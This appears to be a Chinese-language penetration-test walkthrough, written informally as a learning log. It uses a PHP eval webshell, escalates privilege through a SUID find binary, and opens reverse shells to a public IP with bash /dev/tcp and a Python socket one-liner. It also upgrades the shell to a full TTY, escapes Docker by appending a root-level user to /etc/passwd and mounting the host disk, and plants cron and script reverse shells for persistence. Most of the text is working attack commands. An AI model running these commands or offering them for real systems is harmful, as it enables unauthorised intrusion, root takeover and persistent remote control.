1. 目标界面

搞半天,没进去。。。。

经过提示,了解到了一句话执行的原理,

1
<?php @eval($_POST["cmd"]);?>

一句话在每次执行时,接收变量cmd传进去的参数 cmd=phpinfo(); 使用eval函数执行 phpinfo(); 命令。

了解后就是猜参数名的过程。

2. 提权

连上shell后, whoami 查看为www-data权限,

通过uname -a 和 cat /etc/*-release 查看内核版本,没有提权exp

!

利用可执行文件SUID

通过命令查看

1
find / -user root -perm -4000 -print 2>/dev/null

1
2
touch suid # 也可以不用创建,只要查找的文件真实存在即可
find suid -exec whoami \;

3. 反弹shell ,以及获取完全交互式shell

公网nc 监听 端口

bash 反弹

1
bash -i >& /dev/tcp/公网ip/端口 0>&1

失败。。。

使用 python 反弹shell 到公网

1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("公网ip",监听的端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-p"]);'

保存为shll.sh ,之后执行

到这里,反弹来的shell还有些问题:

  • 一些命令如su和ssh,需要一个正确的终端才能运行

  • 通常不显示STDERR

  • 无法正常使用vim等文本编辑器

  • 没有完成标签

  • 没有向上箭头使用历史

  • 没有jobcontrol等

    接下来使用python获取完全交互式shell

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    # 接下来在公网的机器上执行
    $ python -c "import pty; pty.spawn(['/bin/bash','-p'])"
    # 启用python交互式
    # 把它丢到后台挂起
    $ ctrl + z
    # 重置stty,也就意味着你看不到输入的内容
    $ stty raw -echo
    # 把后台挂起的程序调回前台 ,命令不显示
    $ fg
    # 完全刷新终端屏幕
    $ 回车 ,再回车 两次
    $ reset
    $ ctrl + c
    # 接下来设置环境变量,根据第一步得到的环境变量来设置
    $ export SHELL=bash

    完美了,但是反弹的shell并不是root 用户,接下来执行

    find suid -exec /bin/bash -p ;

4. docker 逃逸

使用 ls -alh /.dockerenv 判断服务器是否为docker环境, 非docker环境是没有的

这是没有docker的

或者使用cat /proc/1/cgroup 查看系统进程的cgroup信息

这是没有的

fdisk -l 查看磁盘文件

新建一个目录, 将/dev/vda1挂载至新建的目录

1
2
mkdir abc
mount /dev/vda1 abc

充满波折,不懂。。。

换个方法,

使用 /etc/passwd 创建root用户,

首先,使用perl语言生成带有盐值的密码:

1
perl -le 'print crypt("password@123","addedsalt")'

然后执行下面这条命令,成功将test用户的信息加入 /etc/passwd 文件

1
echo "test:advwtv/9yU5yQ:0:0:User_like_root:/root:/bin/bash" >>/etc/passwd

su test 切换过去

再执行 mount /dev/vda1 abc

现在能查看宿主机文件,接下来逃逸到宿主机

通过写入计划任务到宿主机

1
echo '* * * * * bash -i >& /dev/tcp/公网ip/端口 0>&1' >> abc/var/spool/cron/root

将python 反弹的脚本写进去,同样gg

最终,直接将反弹shell的脚本,写入宿主机的目录下

1
vim abc/root/shell.sh 

之后,赋予权限,直接执行反弹回shell